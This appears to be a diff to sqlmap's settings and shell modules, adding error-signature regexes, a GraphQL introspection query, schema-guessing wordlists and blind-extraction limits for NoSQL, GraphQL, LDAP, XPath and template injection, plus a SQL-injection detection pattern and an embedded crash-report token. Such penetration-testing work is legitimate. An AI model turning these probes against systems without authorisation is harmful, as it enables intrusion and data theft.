+# wp_posts / wp_users / wp_options ...) are predicted faster. MAX_LENGTH keeps large data cells from
+# bloating/polluting the pool (identifiers are short); MAX_ITEMS bounds per-context growth so a huge
+# enumeration cannot make the per-character prediction scan costly. Misses always fall back to bisection.
+PREDICTION_FEEDBACK_MAX_LENGTH = 128
+PREDICTION_FEEDBACK_MAX_ITEMS = 10000
+
 # Minimum range between minimum and maximum of statistical set
 MIN_STATISTICAL_RANGE = 0.01
 
@@ -541,7 +638,7 @@ UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_'
 RESTORE_MERGED_OPTIONS = ("col", "db", "dbms", "os", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")
 
 # Parameters to be ignored in detection phase (upper case)
-IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__VIEWSTATEGENERATOR", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "CFID", "CFTOKEN")
+IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__VIEWSTATEGENERATOR", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION", "__SCROLLPOSITIONX", "__SCROLLPOSITIONY", "__PREVIOUSPAGE", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "PHPSESSID", "SESSID", "CFID", "CFTOKEN")
 
 # Regular expression used for recognition of ASP.NET control parameters
 ASP_NET_CONTROL_REGEX = r"(?i)\Actl\d+\$"
@@ -613,7 +710,7 @@ DUMMY_SQL_INJECTION_CHARS = ";()'"
 DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY|FLOOR\(RAND)\b"
 
 # Extensions skipped by crawler
-CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "php", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx"))
+CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx"))
 
 # Patterns often seen in HTTP headers containing custom injection marking character '*'
 PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)"
@@ -670,6 +767,9 @@ TRIM_STDOUT_DUMP_SIZE = 256
 # Reference: https://web.archive.org/web/20150407141500/https://support.microsoft.com/en-us/kb/899149
 DUMP_FILE_BUFFER_SIZE = 1024
 
+# Block size used for the in-place secure-overwrite passes of '--purge' (bounds peak memory regardless of file size)
+PURGE_BLOCK_SIZE = 1024 * 1024
+
 # Parse response headers only first couple of times
 PARSE_HEADERS_LIMIT = 3
 
@@ -700,8 +800,11 @@ DEFAULT_COOKIE_DELIMITER = ';'
 # Unix timestamp used for forcing cookie expiration when provided with --load-cookies
 FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
 
-# Github OAuth token used for creating an automatic Issue for unhandled exceptions
-GITHUB_REPORT_OAUTH_TOKEN = "wxqc7vTeW8ohIcX+1wK55Mnql2Ex9cP+2s1dqTr/mjlZJVfLnq24fMAi08v5vRvOmuhVZQdOT/lhIRovWvIJrdECD1ud8VMPWpxY+NmjHoEx+VLK1/vCAUBwJe"
+# Restricted PAT token for automated crash reporting (last rotation: 2026-04-24)
+GITHUB_REPORT_PAT_TOKEN = "0EZh0n8npcacTH4oBcdKKWvfZLcdGWx0N5XFHD2xYaQDOkmI9LWaeDvZRZUMDz8l96RDH3+LVsbwGE5zUtaau0kld9VXG20fVbYES3ooFpNv+U9J5OTnaT2OlZcYzk4w5veT+GiHV5cuCngOJ6QgL1+qRpZDX1gzFecXbm2sNfQ2SGjT5McQe1mtxMTN7WsS1fQfPH+RhMUgbnwXJ5YG6EsBNZWOyk0C16QnekrVtuQpK0/ZVvU560uQhoMsP1/FBguBwJe"
+
+# Age (in days) past which a resumed session file is considered stale (triggers a one-time nudge)
+HASHDB_STALE_DAYS = 7
 
 # Flush HashDB threshold number of cached items
 HASHDB_FLUSH_THRESHOLD_ITEMS = 200
@@ -748,6 +851,11 @@ MAX_STABILITY_DELAY = 0.5
 # Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm
 MAX_DNS_LABEL = 63
 
+# Maximum number of (most recent) DNS resolution requests retained by the DNS server (bounded so
+# that unrelated/stray traffic to the listening :53 socket cannot grow memory without limit; the
+# value is popped right after it is triggered, so only recent entries ever matter)
+MAX_DNS_REQUESTS = 1000
+
 # Alphabet used for prefix and suffix strings of name resolution requests in DNS technique (excluding hexadecimal chars for not mixing with inner content)
 DNS_BOUNDARIES_ALPHABET = re.sub(r"[a-fA-F]", "", string.ascii_letters)
 
@@ -758,11 +866,208 @@ HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.')
 BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER)
 
 # String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value
-DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">"
+DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">)"
 
 # Regular expression used for recognition of file inclusion errors
 FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
 
+# Regular expressions (per back-end, anchored to actual error-message structure - not product names) used for heuristic recognition of NoSQL injection
+NOSQL_ERRORS = (
+    ("MongoDB", r"Mongo(?:Server|Parse|Network|Runtime|Bulk|WriteConcern)?Error\b|\bBSON(?:Type)?Error\b|\bMongooseError\b|CastError: Cast to|unknown (?:top.level )?operator: ?\$|\$(?:regex|where|expr|in|nin|ne|gt|lt|elemMatch) (?:has to be|is not allowed|must be|not supported|requires)|Regular expression is invalid"),
+    ("CouchDB", r'"error"\s*:\s*"(?:bad_request|query_parse_error|missing_named_query)"|invalid operator: ?\$'),
+    ("Elasticsearch", r'"type"\s*:\s*"[a-z_]*?(?:query_shard|x_content_parse|parsing|search_phase_execution|illegal_argument|too_many_clauses|number_format|script)_exception"|Failed to parse query \['),
+    ("Solr", r"org\.apache\.solr\.[\w.]*(?:SyntaxError|SolrException)"),
+    ("Neo4j", r"Neo\.(?:ClientError|DatabaseError|TransientError|ClientNotification)\.|\bNeo4jError\b|even number of non-escaped quotes|Failed to parse string literal|expected an expression|'(?:UNWIND|OPTIONAL|DETACH|FOREACH|MERGE|LOAD CSV)'"),
+    ("ArangoDB", r"\bArangoError\b|AQL: (?:syntax|parse) error"),
+    ("Cassandra", r"line \d+:\d+ (?:no viable alternative at input|(?:mismatched|extraneous) input '.*?' expecting)|org\.apache\.cassandra|com\.datastax|\bInvalid(?:Request|Query)Exception\b"),
+    ("Redis", r"\bWRONGTYPE\b|ERR Error (?:compiling|running) script|@user_script|\bReplyError\b"),
+    ("Memcached", r"CLIENT_ERROR bad|SERVER_ERROR object too large"),
+    ("InfluxDB", r"error parsing query|unable to parse '[^']*': found"),
+    ("HBase/Phoenix", r"org\.apache\.phoenix|PhoenixParserException|org\.apache\.hadoop\.hbase"),
+)
+NOSQL_ERROR_REGEX = "(?:%s)" % '|'.join(regex for _, regex in NOSQL_ERRORS)
+
+# Printable-ASCII codepoint bounds bisected (via regexp character-class ranges) during NoSQL blind extraction
+NOSQL_CHAR_MIN = 0x20
+NOSQL_CHAR_MAX = 0x7e
+
+# Maximum number of document fields enumerated during a NoSQL ($where server-side JavaScript) document dump
+NOSQL_MAX_FIELDS = 64
+
+# Maximum number of records walked during a NoSQL blind multi-record (ordered key paging) collection dump
+NOSQL_MAX_RECORDS = 100
+
+# Upper bound for the length search during NoSQL blind extraction
+NOSQL_MAX_LENGTH = 1024
+
+# GraphQL endpoint paths to probe when the user supplies a base URL with --graphql (no explicit /graphql)
+GRAPHQL_ENDPOINT_PATHS = ("/graphql", "/api/graphql", "/v1/graphql", "/api/v1/graphql", "/graphql/api", "/graphql/console", "/graphql.php", "/graphiql", "/graph", "/gql", "/query")
+
+# Seed field/argument names used to recover a GraphQL schema from "Did you mean" suggestion error
+# messages when introspection is disabled (the field-suggestion / "Clairvoyance" technique)
+GRAPHQL_FIELD_WORDLIST = ("user", "users", "me", "search", "login", "node", "post", "posts",
+    "account", "accounts", "profile", "product", "products", "order", "orders", "item", "items",
+    "customer", "find", "get", "list", "comment", "comments", "message", "messages", "updateUser")
+GRAPHQL_ARG_WORDLIST = ("id", "username", "user", "name", "term", "query", "q", "search",
+    "email", "input", "password", "key", "filter", "slug", "title", "uid")
+
+# Canonical GraphQL introspection query (the one everyone copy-pastes). Returned schema carries the
+# full type system: query/mutation/subscription roots, OBJECT/INPUT_OBJECT/ENUM/SCALAR types, their
+# fields/arguments/inputFields with type chains, directives, and deprecation metadata.
+GRAPHQL_INTROSPECTION_QUERY = """query IntrospectionForSqlmap {
+  __schema {
+    queryType { name }
+    mutationType { name }
+    subscriptionType { name }
+    directives { name args { name type { kind name ofType { kind name ofType { kind name } } } } }
+    types {
+      kind
+      name
+      fields(includeDeprecated: true) {
+        name
+        args {
+          name
+          defaultValue
+          type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }
+        }
+        type { kind name ofType { kind name ofType { kind name } } }
+      }
+      inputFields {
+        name
+        defaultValue
+        type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }
+      }
+      enumValues(includeDeprecated: true) { name }
+      specifiedByURL
+    }
+  }
+}"""
+
+# GraphQL error patterns that identify the response as originating from a GraphQL layer (parse,
+# validation, execution, or APQ errors). Used by the heuristic in checks.py and for error-based
+# detection inside the GraphQL engine.
+GRAPHQL_PARSE_ERRORS = (
+    r'"code"\s*:\s*"GRAPHQL_PARSE_FAILED"',
+    r"\bSyntax Error:\s*[^\"]",
+    r"\bExpected Name,\s*found\b",
+    r"\bUnexpected\s+<EOF>\b",
+)
+GRAPHQL_VALIDATION_ERRORS = (
+    r'"code"\s*:\s*"GRAPHQL_VALIDATION_FAILED"',
+    r"\bCannot query field\s+\"[^\"]+\"\s+on type\s+\"[^\"]+\"",
+    r"\bUnknown argument\s+\"[^\"]+\"\s+on field\s+\"[^\"]+\"",
+    r"\bField\s+\"[^\"]+\"\s+argument\s+\"[^\"]+\"\s+of type\s+\"[^\"]+\"\s+is required\b",
+    r"\bVariable\s+\"\$[^\"]+\"\s+got invalid value\b",
+    r"\bExpected type\s+[^,]+,\s*found\b",
+    r"\bDid you mean\s+\"[^\"]+\"\b",
+)
+GRAPHQL_APQ_ERRORS = (
+    r"\bPersistedQueryNotFound\b",
+    r"\bPersistedQueryNotSupported\b",
+)
+GRAPHQL_RUNTIME_ERRORS = (
+    r"\bGraphQL\s+(?:resolver\s+)?error\b",
+)
+GRAPHQL_ERROR_REGEX = "(?:%s)" % '|'.join(GRAPHQL_PARSE_ERRORS + GRAPHQL_VALIDATION_ERRORS + GRAPHQL_APQ_ERRORS + GRAPHQL_RUNTIME_ERRORS)
+
+# LDAP error signatures per back-end for error-based detection and fingerprinting (matched against
+# HTTP response bodies). Each tuple is (backend_name, regex_fragment).
+LDAP_ERROR_SIGNATURES = (
+    ("Microsoft Active Directory", r"AcceptSecurityContext error, data [0-9a-fA-F]+"),
+    ("Microsoft Active Directory", r"LdapErr: DSID-[0-9a-fA-F]+"),
+    ("Microsoft Active Directory", r"80090308:\s*LdapErr"),
+    ("OpenLDAP", r"(?:Bad search filter|ldap_search_ext:\s*Bad search filter)(?:\s*\(-7\))?"),
+    ("OpenLDAP", r"Invalid DN syntax(?:\s*\(34\))?"),
+    ("ApacheDS", r"javax\.naming\.(?:directory\.)?(?:Naming|Authentication|InvalidName|InvalidSearchFilter|OperationNotSupported)Exception"),
+    ("ApacheDS", r"org\.apache\.directory\.api\.ldap\.model\.exception\.Ldap(?:InvalidSearchFilter|InvalidDn|SchemaViolation)?Exception"),
+    ("ApacheDS", r"LDAPException=\d+\s+msg=ERR_\d+"),
+    ("Oracle Directory Server", r"(?:attribute syntax error:|ACL parsing error:|Oracle (?:Unified )?Directory)"),
+    ("389 Directory Server", r"(?:Filter Syntax Verification|389[- ]Directory(?:[ /]Server)?)"),
+    ("Java JNDI", r"javax\.naming\.(?:InvalidNameException|InvalidSearchFilterException)"),
+    ("python-ldap", r"ldap\.(?:INVALID_DN_SYNTAX|FILTER_ERROR|NO_SUCH_OBJECT)"),
+)
+
+# Combined LDAP error regex used for heuristic detection (checks.py) and for recognising
+# that an error response originates from an LDAP back-end rather than a generic HTTP 500
+LDAP_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in LDAP_ERROR_SIGNATURES)
+
+# Printable-ASCII codepoint bounds bisected during LDAP blind extraction via >= lexicographic comparison
+LDAP_CHAR_MIN = 0x20
+LDAP_CHAR_MAX = 0x7e
+
+# Upper bound for the value-length search during LDAP blind extraction
+LDAP_MAX_LENGTH = 256
+
+# Maximum number of directory entries enumerated during LDAP blind dumping
+LDAP_MAX_RECORDS = 20
+
+# Attributes that definitively identify the backend vendor when probed on the RootDSE or
+# a well-known directory entry. Each tuple is (attribute, expected_value_substring, backend).
+LDAP_FINGERPRINT_ATTRIBUTES = (
+    ("objectGUID", None, "Microsoft Active Directory"),
+    ("vendorName", "OpenLDAP", "OpenLDAP"),
+    ("vendorName", "Apache Software Foundation", "ApacheDS"),
+    ("vendorName", "Oracle Corporation", "Oracle Directory Server"),
+    ("vendorName", "Red Hat", "389 Directory Server"),
+)
+
+# XPath error signatures per parser implementation for error-based detection and
+# fingerprinting (matched against HTTP response bodies). Each tuple is
+# (backend_name, regex_fragment).
+XPATH_ERROR_SIGNATURES = (
+    ("Java JAXP / Xalan", r"(?:javax\.xml\.(?:xpath\.XPathExpressionException|transform\.Transformer(?:Configuration)?Exception)|com\.sun\.org\.apache\.xpath\.(?:XPathException|XPathProcessorException)|org\.apache\.xpath|org\.xml\.sax\.SAX(?:Parse)?Exception)"),
+    ("Java JAXP / Xalan", r"XPath (?:expression|syntax) error"),
+    ("Java JAXP / Saxon", r"net\.sf\.saxon\.(?:trans\.XPathException|s9api\.SaxonApiException)"),
+    ("Java JAXP / Saxon", r"(?:XPST|XPTY|XPDY|XQST|XTDE)\d{4}:"),
+    (".NET XPathNavigator", r"System\.Xml\.(?:XPath\.XPathException|XmlException)"),
+    (".NET XPathNavigator", r"Expression must evaluate to a node-set"),
+    (".NET XPathNavigator", r"has an invalid (?:token|qualified name)"),
+    ("lxml / libxml2", r"(?:lxml\.etree\.(?:XPath(?:Eval|Document|Syntax)?Error)|libxml2|xmlXPath(?:CompOp|Eval|Err))"),
+    ("lxml / libxml2", r"(?:XPath error|Invalid (?:expression|predicate))"),
+    ("PHP SimpleXML / DOMXPath", r"(?:SimpleXMLElement::xpath\(\)|DOMXPath::(?:query|evaluate)\(\))"),
+    ("PHP SimpleXML / DOMXPath", r"Invalid expression|xmlXPathEval"),
+    ("Saxon (standalone)", r"(?:net\.sf\.saxon\.(?:s9api\.SaxonApiException|trans\.XPathException)|Saxon error)"),
+    ("Saxon (standalone)", r"Static error\(s\) in query"),
+    ("BaseX", r"org\.basex\.(?:query\.QueryException|core\.BaseXException)"),
+    ("BaseX", r"\[(?:XPST|XPTY|XPDY)\d{4}\]"),
+    ("eXist", r"org\.exist\.xquery\.(?:XPathException|XQueryException)"),
+    ("eXist", r"exerr:ERROR"),
+    ("Python ElementTree", r"xml\.etree\.ElementTree\.(?:ParseError|Element)"),
+    ("Generic XPath", r"(?:XPath|XSLT).*?(?:error|exception|syntax)"),
+    ("Generic XPath", r"Invalid XPath|XPath evaluation failed"),
+)
+
+XPATH_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XPATH_ERROR_SIGNATURES)
+
+# Printable-ASCII codepoint bounds bisected during XPath blind character extraction
+XPATH_CHAR_MIN = 0x20
+XPATH_CHAR_MAX = 0x7e
+
+# Maximum tree depth for recursive XML walking during XPath blind extraction
+XPATH_MAX_DEPTH = 32
+
+# Upper bound for the value-length search during XPath blind extraction
+XPATH_MAX_LENGTH = 256
+
+# SSTI error signatures per template engine for detection and fingerprinting.
+# Each tuple is (engine_name, regex_fragment).
+SSTI_ERROR_SIGNATURES = (
+    ("Jinja2", r"jinja2\.exceptions\.\w+|TemplateSyntaxError|UndefinedError|TemplateNotFound|TemplateAssertionError"),
+    ("Twig", r"Twig[\\_]Error|Twig[\\_]Environment|Unknown (?:filter|function|test|tag)"),
+    ("Freemarker", r"freemarker\.(?:core|template|extract|cache)\.\w+|ParseException|InvalidReferenceException|TemplateException"),
+    ("Velocity", r"org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException"),
+    ("Spring EL / Thymeleaf", r"org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException"),
+    ("ERB", r"\(erb\):\d+|NameError.*undefined local variable"),
+    ("Pug/Jade", r"pug|jade|ParseError"),
+    ("Handlebars", r"handlebars|Handlebars|Parse error on line"),
+    ("Generic SSTI", r"template.*?(?:error|syntax|exception)"),
+)
+
+SSTI_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SSTI_ERROR_SIGNATURES)
+
+# Upper bound for SSTI value extraction (reserved for future use)
+SSTI_MAX_LENGTH = 256
+
 # Length of prefix and suffix used in non-SQLI heuristic checks
 NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
 
@@ -772,10 +1077,16 @@ MAX_CONNECTION_READ_SIZE = 10 * 1024 * 1024
 # Maximum response total page size (trimmed if larger)
 MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
 
+# Maximum number of requests served over a single persistent (Keep-Alive) connection before it is recycled
+KEEPALIVE_MAX_REQUESTS = 1000
+
+# Maximum idle time (in seconds) a pooled persistent (Keep-Alive) connection is considered reusable before being recycled
+KEEPALIVE_IDLE_TIMEOUT = 30
+
 # For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher)
 MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024
 
-# Page size threshold used in heuristic checks (e.g. getHeuristicCharEncoding(), identYwaf, htmlParser, etc.)
+# Page size threshold used in heuristic checks (e.g. getHeuristicCharEncoding(), htmlParser, etc.)
 HEURISTIC_PAGE_SIZE_THRESHOLD = 64 * 1024
 
 # Maximum (multi-threaded) length of entry in bisection algorithm
@@ -797,7 +1108,7 @@ CHECK_ZERO_COLUMNS_THRESHOLD = 10
 CHECK_SQLITE_TYPE_THRESHOLD = 100
 
 # Boldify all logger messages containing these "patterns"
-BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed")
+BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed", "counterpart to database")
 
 # Regular expression used to search for bold-patterns
 BOLD_PATTERNS_REGEX = '|'.join(BOLD_PATTERNS)
@@ -815,7 +1126,7 @@ MAX_HELP_OPTION_LENGTH = 18
 MAX_CONNECT_RETRIES = 100
 
 # Strings for detecting formatting errors
-FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException", "Arguments are of the wrong type", "Invalid conversion")
+FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException", "Arguments are of the wrong type", "Invalid conversion")
 
 # Regular expression used for extracting ASP.NET view state values
 VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@@ -829,14 +1140,23 @@ LIMITED_ROWS_TEST_NUMBER = 15
 # Default adapter to use for bottle server
 RESTAPI_DEFAULT_ADAPTER = "wsgiref"
 
-# Default REST-JSON API server listen address
+# REST API / scan-data contract version (semantic versioning), INDEPENDENT of the sqlmap version.
+# Bump MAJOR for breaking changes (removed/renamed field, changed type, restructured response),
+# MINOR for additive backward-compatible changes (new field/endpoint), PATCH for non-contract fixes.
+# Exposed at GET /version (as "api_version"), in the --report-json "meta", and as the OpenAPI
+# info.version (keep sqlmapapi.yaml in sync). Maintained by hand when the contract changes.
+# 2.0.0: first explicitly-versioned contract; a MAJOR break from the old implicit shape
+# (TECHNIQUES is now a named list, DUMP_TABLE restructured, internal fields dropped, type_name added).
+RESTAPI_VERSION = "2.0.0"
+
+# Default REST API server listen address
 RESTAPI_DEFAULT_ADDRESS = "127.0.0.1"
 
-# Default REST-JSON API server listen port
+# Default REST API server listen port
 RESTAPI_DEFAULT_PORT = 8775
 
-# Unsupported options by REST-JSON API server
-RESTAPI_UNSUPPORTED_OPTIONS = ("sqlShell", "wizard")
+# Unsupported options by REST API server
+RESTAPI_UNSUPPORTED_OPTIONS = ("sqlShell", "wizard", "evalCode", "alert", "reportJson")
 
 # Use "Supplementary Private Use Area-A"
 INVALID_UNICODE_PRIVATE_AREA = False
@@ -960,14 +1280,19 @@ for key, value in os.environ.items():
         _ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper()
         if _ in globals():
             original = globals()[_]
-            if isinstance(original, int):
+            if isinstance(original, bool):
+                globals()[_] = value.lower() in ('1', 'true')
+            elif isinstance(original, int):
                 try:
                     globals()[_] = int(value)
                 except ValueError:
                     pass
-            elif isinstance(original, bool):
-                globals()[_] = value.lower() in ('1', 'true')
+            elif isinstance(original, float):
+                try:
+                    globals()[_] = float(value)
+                except ValueError:
+                    pass
             elif isinstance(original, (list, tuple)):
-                globals()[_] = [__.strip() for __ in _.split(',')]
+                globals()[_] = [__.strip() for __ in value.split(',')]
             else:
                 globals()[_] = value

lib/core/shell.py

@@ -40,6 +40,9 @@ try:
 except:
     readline._readline = None
 
+_atexitRegistered = False
+_activeCompletion = None
+
 def readlineAvailable():
     """
     Check if the readline is available. By default
@@ -148,4 +151,13 @@ def autoCompletion(completion=None, os=None, commands=None):
         readline.parse_and_bind("tab: complete")
 
     loadHistory(completion)
-    atexit.register(saveHistory, completion)
+
+    # Note: readline keeps a single global in-memory history; loadHistory() above swaps it to the
+    # currently active shell. Registering a fresh atexit handler per call would make every shell
+    # write that one global buffer to its own path at exit, clobbering the others. Instead register
+    # a single handler that saves only the shell active at exit.
+    global _atexitRegistered, _activeCompletion
+    _activeCompletion = completion
+    if not _atexitRegistered:
+        atexit.register(lambda: saveHistory(_activeCompletion))
+        _atexitRegistered = True